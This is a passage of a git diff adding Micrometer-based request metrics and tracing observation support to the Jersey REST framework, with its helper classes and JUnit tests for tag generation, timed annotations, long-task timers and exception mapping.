+            JerseyObservationConvention customConvention) {
+        this.registry = requireNonNull(registry);
+        this.metricName = requireNonNull(metricName);
+        this.customConvention = customConvention;
+        this.defaultConvention = new DefaultJerseyObservationConvention(this.metricName);
+    }
+
+    @Override
+    public void onEvent(RequestEvent event) {
+        ContainerRequest containerRequest = event.getContainerRequest();
+
+        switch (event.getType()) {
+            case ON_EXCEPTION:
+                if (!isNotFoundException(event)) {
+                    break;
+                }
+                startObservation(event);
+                break;
+            case REQUEST_MATCHED:
+                startObservation(event);
+                break;
+            case RESP_FILTERS_START:
+                ObservationScopeAndContext observationScopeAndContext = observations.get(containerRequest);
+                if (observationScopeAndContext != null) {
+                    observationScopeAndContext.jerseyContext.setResponse(event.getContainerResponse());
+                    observationScopeAndContext.jerseyContext.setRequestEvent(event);
+                }
+                break;
+            case FINISHED:
+                ObservationScopeAndContext finishedObservation = observations.remove(containerRequest);
+                if (finishedObservation != null) {
+                    finishedObservation.jerseyContext.setRequestEvent(event);
+                    Observation.Scope observationScope = finishedObservation.observationScope;
+                    observationScope.close();
+                    observationScope.getCurrentObservation().stop();
+                }
+                break;
+            default:
+                break;
+        }
+    }
+
+    private void startObservation(RequestEvent event) {
+        JerseyContext jerseyContext = new JerseyContext(event);
+        Observation observation = JerseyObservationDocumentation.DEFAULT.start(this.customConvention,
+                this.defaultConvention, () -> jerseyContext, this.registry);
+        Observation.Scope scope = observation.openScope();
+        observations.put(event.getContainerRequest(), new ObservationScopeAndContext(scope, jerseyContext));
+    }
+
+    private boolean isNotFoundException(RequestEvent event) {
+        Throwable t = event.getException();
+        if (t == null) {
+            return false;
+        }
+        String className = t.getClass().getCanonicalName();
+        return className.equals("jakarta.ws.rs.NotFoundException") || className.equals("jakarta.ws.rs.NotFoundException");
+    }
+
+    private static class ObservationScopeAndContext {
+
+        final Observation.Scope observationScope;
+
+        final JerseyContext jerseyContext;
+
+        ObservationScopeAndContext(Observation.Scope observationScope, JerseyContext jerseyContext) {
+            this.observationScope = observationScope;
+            this.jerseyContext = jerseyContext;
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (o == null || getClass() != o.getClass()) {
+                return false;
+            }
+            ObservationScopeAndContext that = (ObservationScopeAndContext) o;
+            return Objects.equals(observationScope, that.observationScope)
+                    && Objects.equals(jerseyContext, that.jerseyContext);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(observationScope, jerseyContext);
+        }
+
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/TimedFinder.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/TimedFinder.java
new file mode 100644
index 0000000..42d4745
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/TimedFinder.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import java.lang.reflect.AnnotatedElement;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+import io.micrometer.core.annotation.Timed;
+import io.micrometer.core.annotation.TimedSet;
+
+class TimedFinder {
+
+    private final AnnotationFinder annotationFinder;
+
+    TimedFinder(AnnotationFinder annotationFinder) {
+        this.annotationFinder = annotationFinder;
+    }
+
+    Set<Timed> findTimedAnnotations(AnnotatedElement element) {
+        Timed t = annotationFinder.findAnnotation(element, Timed.class);
+        if (t != null) {
+            return Collections.singleton(t);
+        }
+
+        TimedSet ts = annotationFinder.findAnnotation(element, TimedSet.class);
+        if (ts != null) {
+            return Arrays.stream(ts.value()).collect(Collectors.toSet());
+        }
+
+        return Collections.emptySet();
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/package-info.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/package-info.java
new file mode 100644
index 0000000..0d9e95e
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/package-info.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Binders for Jersey. Code ported from <a href="https://github.com/micrometer-metrics/micrometer/tree/v1.10.9/micrometer-core/src/main/java/io/micrometer/core/instrument/binder/jersey/server">Micrometer repository</a>.
+ */
+package org.glassfish.jersey.micrometer.server;
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProviderTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProviderTest.java
new file mode 100644
index 0000000..d0445f9
--- /dev/null
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProviderTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import java.net.URI;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.stream.Collectors;
+
+import jakarta.ws.rs.NotAcceptableException;
+
+import io.micrometer.core.instrument.Tag;
+import io.micrometer.core.instrument.Tags;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.ExtendedUriInfo;
+import org.glassfish.jersey.server.internal.monitoring.RequestEventImpl.Builder;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+import org.glassfish.jersey.server.monitoring.RequestEvent.Type;
+import org.glassfish.jersey.uri.UriTemplate;
+import org.junit.jupiter.api.Test;
+
+import static java.util.stream.StreamSupport.stream;
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+/**
+ * Tests for {@link DefaultJerseyTagsProvider}.
+ *
+ * @author Michael Weirauch
+ * @author Johnny Lim
+ */
+class DefaultJerseyTagsProviderTest {
+
+    private final DefaultJerseyTagsProvider tagsProvider = new DefaultJerseyTagsProvider();
+
+    @Test
+    void testRootPath() {
+        assertThat(tagsProvider.httpRequestTags(event(200, null, "/", (String[]) null)))
+            .containsExactlyInAnyOrder(tagsFrom("root", 200, null, "SUCCESS"));
+    }
+
+    @Test
+    void templatedPathsAreReturned() {
+        assertThat(tagsProvider.httpRequestTags(event(200, null, "/", "/", "/hello/{name}")))
+            .containsExactlyInAnyOrder(tagsFrom("/hello/{name}", 200, null, "SUCCESS"));
+    }
+
+    @Test
+    void applicationPathIsPresent() {
+        assertThat(tagsProvider.httpRequestTags(event(200, null, "/app", "/", "/hello")))
+            .containsExactlyInAnyOrder(tagsFrom("/app/hello", 200, null, "SUCCESS"));
+    }
+
+    @Test
+    void notFoundsAreShunted() {
+        assertThat(tagsProvider.httpRequestTags(event(404, null, "/app", "/", "/not-found")))
+            .containsExactlyInAnyOrder(tagsFrom("NOT_FOUND", 404, null, "CLIENT_ERROR"));
+    }
+
+    @Test
+    void redirectsAreShunted() {
+        assertThat(tagsProvider.httpRequestTags(event(301, null, "/app", "/", "/redirect301")))
+            .containsExactlyInAnyOrder(tagsFrom("REDIRECTION", 301, null, "REDIRECTION"));
+        assertThat(tagsProvider.httpRequestTags(event(302, null, "/app", "/", "/redirect302")))
+            .containsExactlyInAnyOrder(tagsFrom("REDIRECTION", 302, null, "REDIRECTION"));
+        assertThat(tagsProvider.httpRequestTags(event(399, null, "/app", "/", "/redirect399")))
+            .containsExactlyInAnyOrder(tagsFrom("REDIRECTION", 399, null, "REDIRECTION"));
+    }
+
+    @Test
+    @SuppressWarnings("serial")
+    void exceptionsAreMappedCorrectly() {
+        assertThat(tagsProvider.httpRequestTags(event(500, new IllegalArgumentException(), "/app", (String[]) null)))
+            .containsExactlyInAnyOrder(tagsFrom("/app", 500, "IllegalArgumentException", "SERVER_ERROR"));
+        assertThat(tagsProvider.httpRequestTags(
+                event(500, new IllegalArgumentException(new NullPointerException()), "/app", (String[]) null)))
+            .containsExactlyInAnyOrder(tagsFrom("/app", 500, "NullPointerException", "SERVER_ERROR"));
+        assertThat(tagsProvider.httpRequestTags(event(406, new NotAcceptableException(), "/app", (String[]) null)))
+            .containsExactlyInAnyOrder(tagsFrom("/app", 406, "NotAcceptableException", "CLIENT_ERROR"));
+        assertThat(tagsProvider.httpRequestTags(event(500, new Exception("anonymous") {
+        }, "/app", (String[]) null))).containsExactlyInAnyOrder(tagsFrom("/app", 500,
+                "org.glassfish.jersey.micrometer.server.DefaultJerseyTagsProviderTest$1", "SERVER_ERROR"));
+    }
+
+    @Test
+    void longRequestTags() {
+        assertThat(tagsProvider.httpLongRequestTags(event(0, null, "/app", (String[]) null)))
+            .containsExactlyInAnyOrder(Tag.of("method", "GET"), Tag.of("uri", "/app"));
+    }
+
+    private static RequestEvent event(Integer status, Exception exception, String baseUri,
+            String... uriTemplateStrings) {
+        Builder builder = new Builder();
+
+        ContainerRequest containerRequest = mock(ContainerRequest.class);
+        when(containerRequest.getMethod()).thenReturn("GET");
+        builder.setContainerRequest(containerRequest);
+
+        ContainerResponse containerResponse = mock(ContainerResponse.class);
+        when(containerResponse.getStatus()).thenReturn(status);
+        builder.setContainerResponse(containerResponse);
+
+        builder.setException(exception, null);
+
+        ExtendedUriInfo extendedUriInfo = mock(ExtendedUriInfo.class);
+        when(extendedUriInfo.getBaseUri())
+            .thenReturn(URI.create("http://localhost:8080" + (baseUri == null ? "/" : baseUri)));
+        List<UriTemplate> uriTemplates = uriTemplateStrings == null ? Collections.emptyList()
+                : Arrays.stream(uriTemplateStrings).map(uri -> new UriTemplate(uri)).collect(Collectors.toList());
+        // UriTemplate are returned in reverse order
+        Collections.reverse(uriTemplates);
+        when(extendedUriInfo.getMatchedTemplates()).thenReturn(uriTemplates);
+        builder.setExtendedUriInfo(extendedUriInfo);
+
+        return builder.build(Type.FINISHED);
+    }
+
+    private static Tag[] tagsFrom(String uri, int status, String exception, String outcome) {
+        Iterable<Tag> expectedTags = Tags.of("method", "GET", "uri", uri, "status", String.valueOf(status), "exception",
+                exception == null ? "None" : exception, "outcome", outcome);
+
+        return stream(expectedTags.spliterator(), false).toArray(Tag[]::new);
+    }
+
+}
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTest.java
new file mode 100644
index 0000000..96324b2
--- /dev/null
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTest.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.NotFoundException;
+import jakarta.ws.rs.core.Application;
+
+import io.micrometer.core.instrument.MeterRegistry;
+import io.micrometer.core.instrument.Tag;
+import io.micrometer.core.instrument.Tags;
+import io.micrometer.core.instrument.simple.SimpleMeterRegistry;
+import org.glassfish.jersey.micrometer.server.mapper.ResourceGoneExceptionMapper;
+import org.glassfish.jersey.micrometer.server.resources.TestResource;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+/**
+ * Tests for {@link MetricsApplicationEventListener}.
+ *
+ * @author Michael Weirauch
+ * @author Johnny Lim
+ */
+class MetricsRequestEventListenerTest extends JerseyTest {
+
+    static {
+        Logger.getLogger("org.glassfish.jersey").setLevel(Level.OFF);
+    }
+
+    private static final String METRIC_NAME = "http.server.requests";
+
+    private MeterRegistry registry;
+
+    @Override
+    protected Application configure() {
+        registry = new SimpleMeterRegistry();
+
+        final MetricsApplicationEventListener listener = new MetricsApplicationEventListener(registry,
+                new DefaultJerseyTagsProvider(), METRIC_NAME, true);
+
+        final ResourceConfig config = new ResourceConfig();
+        config.register(listener);
+        config.register(TestResource.class);
+        config.register(ResourceGoneExceptionMapper.class);
+
+        return config;
+    }
+
+    @Test
+    void resourcesAreTimed() {
+        target("/").request().get();
+        target("hello").request().get();
+        target("hello/").request().get();
+        target("hello/peter").request().get();
+        target("sub-resource/sub-hello/peter").request().get();
+
+        assertThat(registry.get(METRIC_NAME).tags(tagsFrom("root", "200", "SUCCESS", null)).timer().count())
+            .isEqualTo(1);
+
+        assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/hello", "200", "SUCCESS", null)).timer().count())
+            .isEqualTo(2);
+
+        assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/hello/{name}", "200", "SUCCESS", null)).timer().count())
+            .isEqualTo(1);
+
+        assertThat(registry.get(METRIC_NAME)
+            .tags(tagsFrom("/sub-resource/sub-hello/{name}", "200", "SUCCESS", null))
+            .timer()
+            .count()).isEqualTo(1);
+
+        // assert we are not auto-timing long task @Timed
+        assertThat(registry.getMeters()).hasSize(4);
+    }
+
+    @Test
+    void notFoundIsAccumulatedUnderSameUri() {
+        try {
+            target("not-found").request().get();
+        }
+        catch (NotFoundException ignored) {
+        }
+
+        assertThat(registry.get(METRIC_NAME).tags(tagsFrom("NOT_FOUND", "404", "CLIENT_ERROR", null)).timer().count())
+            .isEqualTo(1);
+    }
+
+    @Test
+    void notFoundIsReportedWithUriOfMatchedResource() {
+        try {
+            target("throws-not-found-exception").request().get();
+        }
+        catch (NotFoundException ignored) {
+        }
+
+        assertThat(registry.get(METRIC_NAME)
+            .tags(tagsFrom("/throws-not-found-exception", "404", "CLIENT_ERROR", null))
+            .timer()
+            .count()).isEqualTo(1);
+    }
+
+    @Test
+    void redirectsAreReportedWithUriOfMatchedResource() {
+        target("redirect/302").request().get();
+        target("redirect/307").request().get();
+
+        assertThat(registry.get(METRIC_NAME)
+            .tags(tagsFrom("/redirect/{status}", "302", "REDIRECTION", null))
+            .timer()
+            .count()).isEqualTo(1);
+
+        assertThat(registry.get(METRIC_NAME)
+            .tags(tagsFrom("/redirect/{status}", "307", "REDIRECTION", null))
+            .timer()
+            .count()).isEqualTo(1);
+    }
+
+    @Test
+    void exceptionsAreMappedCorrectly() {
+        try {
+            target("throws-exception").request().get();
+        }
+        catch (Exception ignored) {
+        }
+        try {
+            target("throws-webapplication-exception").request().get();
+        }
+        catch (Exception ignored) {
+        }
+        try {
+            target("throws-mappable-exception").request().get();
+        }
+        catch (Exception ignored) {
+        }
+
+        assertThat(registry.get(METRIC_NAME)
+            .tags(tagsFrom("/throws-exception", "500", "SERVER_ERROR", "IllegalArgumentException"))
+            .timer()
+            .count()).isEqualTo(1);
+
+        assertThat(registry.get(METRIC_NAME)
+            .tags(tagsFrom("/throws-webapplication-exception", "401", "CLIENT_ERROR", "NotAuthorizedException"))
+            .timer()
+            .count()).isEqualTo(1);
+
+        assertThat(registry.get(METRIC_NAME)
+            .tags(tagsFrom("/throws-mappable-exception", "410", "CLIENT_ERROR", "ResourceGoneException"))
+            .timer()
+            .count()).isEqualTo(1);
+    }
+
+    private static Iterable<Tag> tagsFrom(String uri, String status, String outcome, String exception) {
+        return Tags.of("method", "GET", "uri", uri, "status", status, "outcome", outcome, "exception",
+                exception == null ? "None" : exception);
+    }
+
+}
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTimedTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTimedTest.java
new file mode 100644
index 0000000..bd9cd24
--- /dev/null
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTimedTest.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import io.micrometer.core.Issue;
+import io.micrometer.core.instrument.MeterRegistry;
+import io.micrometer.core.instrument.Tag;
+import io.micrometer.core.instrument.Tags;
+import io.micrometer.core.instrument.simple.SimpleMeterRegistry;
+import org.glassfish.jersey.micrometer.server.resources.TimedOnClassResource;
+import org.glassfish.jersey.micrometer.server.resources.TimedResource;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatExceptionOfType;
+
+/**
+ * @author Michael Weirauch
+ */
+class MetricsRequestEventListenerTimedTest extends JerseyTest {
+
+    static {
+        Logger.getLogger("org.glassfish.jersey").setLevel(Level.OFF);
+    }
+
+    private static final String METRIC_NAME = "http.server.requests";
+
+    private MeterRegistry registry;
+
+    private CountDownLatch longTaskRequestStartedLatch;
+
+    private CountDownLatch longTaskRequestReleaseLatch;
+
+    @Override
+    protected Application configure() {
+        registry = new SimpleMeterRegistry();
+        longTaskRequestStartedLatch = new CountDownLatch(1);
+        longTaskRequestReleaseLatch = new CountDownLatch(1);
+
+        final MetricsApplicationEventListener listener = new MetricsApplicationEventListener(registry,
+                new DefaultJerseyTagsProvider(), METRIC_NAME, false);
+
+        final ResourceConfig config = new ResourceConfig();
+        config.register(listener);
+        config.register(new TimedResource(longTaskRequestStartedLatch, longTaskRequestReleaseLatch));
+        config.register(TimedOnClassResource.class);
+
+        return config;
+    }
+
+    @Test
+    void resourcesAndNotFoundsAreNotAutoTimed() {
+        target("not-timed").request().get();
+        target("not-found").request().get();
+
+        assertThat(registry.find(METRIC_NAME).tags(tagsFrom("/not-timed", 200)).timer()).isNull();
+
+        assertThat(registry.find(METRIC_NAME).tags(tagsFrom("NOT_FOUND", 404)).timer()).isNull();
+    }
+
+    @Test
+    void resourcesWithAnnotationAreTimed() {
+        target("timed").request().get();
+        target("multi-timed").request().get();
+
+        assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/timed", 200)).timer().count()).isEqualTo(1);
+
+        assertThat(registry.get("multi1").tags(tagsFrom("/multi-timed", 200)).timer().count()).isEqualTo(1);
+
+        assertThat(registry.get("multi2").tags(tagsFrom("/multi-timed", 200)).timer().count()).isEqualTo(1);
+    }
+
+    @Test
+    void longTaskTimerSupported() throws InterruptedException, ExecutionException, TimeoutException {
+        final Future<Response> future = target("long-timed").request().async().get();
+
+        /*
+         * Wait until the request has arrived at the server side. (Async client processing
+         * might be slower in triggering the request resulting in the assertions below to
+         * fail. Thread.sleep() is not an option, so resort to CountDownLatch.)
+         */
+        longTaskRequestStartedLatch.await(5, TimeUnit.SECONDS);
+
+        // the request is not timed, yet
+        assertThat(registry.find(METRIC_NAME).tags(tagsFrom("/timed", 200)).timer()).isNull();
+
+        // the long running task is timed
+        assertThat(registry.get("long.task.in.request")
+            .tags(Tags.of("method", "GET", "uri", "/long-timed"))
+            .longTaskTimer()
+            .activeTasks()).isEqualTo(1);
+
+        // finish the long running request
+        longTaskRequestReleaseLatch.countDown();
+        future.get(5, TimeUnit.SECONDS);
+
+        // the request is timed after the long running request completed
+        assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/long-timed", 200)).timer().count()).isEqualTo(1);
+    }
+
+    @Test
+    @Issue("gh-2861")
+    void longTaskTimerOnlyOneMeter() throws InterruptedException, ExecutionException, TimeoutException {
+        final Future<Response> future = target("just-long-timed").request().async().get();
+
+        /*
+         * Wait until the request has arrived at the server side. (Async client processing
+         * might be slower in triggering the request resulting in the assertions below to
+         * fail. Thread.sleep() is not an option, so resort to CountDownLatch.)
+         */
+        longTaskRequestStartedLatch.await(5, TimeUnit.SECONDS);
+
+        // the long running task is timed
+        assertThat(registry.get("long.task.in.request")
+            .tags(Tags.of("method", "GET", "uri", "/just-long-timed"))
+            .longTaskTimer()
+            .activeTasks()).isEqualTo(1);
+
+        // finish the long running request
+        longTaskRequestReleaseLatch.countDown();
+        future.get(5, TimeUnit.SECONDS);
+
+        // no meters registered except the one checked above
+        assertThat(registry.getMeters().size()).isOne();
+    }
+
+    @Test
+    void unnamedLongTaskTimerIsNotSupported() {
+        assertThatExceptionOfType(ProcessingException.class)
+            .isThrownBy(() -> target("long-timed-unnamed").request().get())
+            .withCauseInstanceOf(IllegalArgumentException.class);
+    }
+
+    @Test
+    void classLevelAnnotationIsInherited() {
+        target("/class/inherited").request().get();
+
+        assertThat(registry.get(METRIC_NAME)
+            .tags(Tags.concat(tagsFrom("/class/inherited", 200), Tags.of("on", "class")))
+            .timer()
+            .count()).isEqualTo(1);
+    }
+
+    @Test
+    void methodLevelAnnotationOverridesClassLevel() {
+        target("/class/on-method").request().get();
+
+        assertThat(registry.get(METRIC_NAME)
+            .tags(Tags.concat(tagsFrom("/class/on-method", 200), Tags.of("on", "method")))
+            .timer()
+            .count()).isEqualTo(1);
+
+        // class level annotation is not picked up
+        assertThat(registry.getMeters()).hasSize(1);
+    }
+
+    private static Iterable<Tag> tagsFrom(String uri, int status) {
+        return Tags.of("method", "GET", "uri", uri, "status", String.valueOf(status), "exception", "None");
+    }
+
+}
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/exception/ResourceGoneException.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/exception/ResourceGoneException.java
new file mode 100644
index 0000000..99f654d
--- /dev/null
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/exception/ResourceGoneException.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server.exception;
+
+public class ResourceGoneException extends RuntimeException {
+
+    public ResourceGoneException() {
+        super();
+    }
+
+    public ResourceGoneException(String message) {
+        super(message);
+    }
+
+    public ResourceGoneException(String message, Throwable cause) {
+        super(message, cause);
+    }
+
+}
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/mapper/ResourceGoneExceptionMapper.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/mapper/ResourceGoneExceptionMapper.java
new file mode 100644
index 0000000..e76867d
--- /dev/null
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/mapper/ResourceGoneExceptionMapper.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server.mapper;
+
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.Response.Status;
+import jakarta.ws.rs.ext.ExceptionMapper;
+
+import org.glassfish.jersey.micrometer.server.exception.ResourceGoneException;
+
+public class ResourceGoneExceptionMapper implements ExceptionMapper<ResourceGoneException> {
+
+    @Override
+    public Response toResponse(ResourceGoneException exception) {
+        return Response.status(Status.GONE).build();
+    }
+
+}
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
new file mode 100644
index 0000000..0ae7ab6
--- /dev/null
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/AbstractObservationRequestEventListenerTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server.observation;
+
+import java.util.List;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.Application;
+
+import io.micrometer.core.instrument.MeterRegistry;
+import io.micrometer.core.instrument.Tag;
+import io.micrometer.core.instrument.Tags;
+import io.micrometer.core.instrument.observation.DefaultMeterObservationHandler;
+import io.micrometer.core.instrument.simple.SimpleMeterRegistry;
+import io.micrometer.observation.ObservationHandler.FirstMatchingCompositeObservationHandler;
+import io.micrometer.observation.ObservationRegistry;
+import io.micrometer.tracing.Tracer;
+import io.micrometer.tracing.exporter.FinishedSpan;
+import io.micrometer.tracing.handler.DefaultTracingObservationHandler;
+import io.micrometer.tracing.handler.PropagatingReceiverTracingObservationHandler;
+import io.micrometer.tracing.handler.PropagatingSenderTracingObservationHandler;
+import io.micrometer.tracing.propagation.Propagator;
+import io.micrometer.tracing.test.simple.SpanAssert;
+import io.micrometer.tracing.test.simple.SpansAssert;
+import org.glassfish.jersey.micrometer.server.ObservationApplicationEventListener;
+import org.glassfish.jersey.micrometer.server.ObservationRequestEventListener;
+import org.glassfish.jersey.micrometer.server.resources.TestResource;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+import zipkin2.CheckResult;
+import zipkin2.reporter.Sender;
+import zipkin2.reporter.urlconnection.URLConnectionSender;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+/**
+ * Tests for {@link ObservationRequestEventListener}.
+ *
+ * @author Marcin Grzejsczak
+ */
+abstract class AbstractObservationRequestEventListenerTest extends JerseyTest {
+
+    static {
+        Logger.getLogger("org.glassfish.jersey").setLevel(Level.OFF);
+    }
+
+    private static final String METRIC_NAME = "http.server.requests";
+
+    ObservationRegistry observationRegistry;
+
+    MeterRegistry registry;
+
+    Boolean zipkinAvailable;
+
+    Sender sender;
+
+    @Override
+    protected Application configure() {
+        observationRegistry = ObservationRegistry.create();
+        registry = new SimpleMeterRegistry();
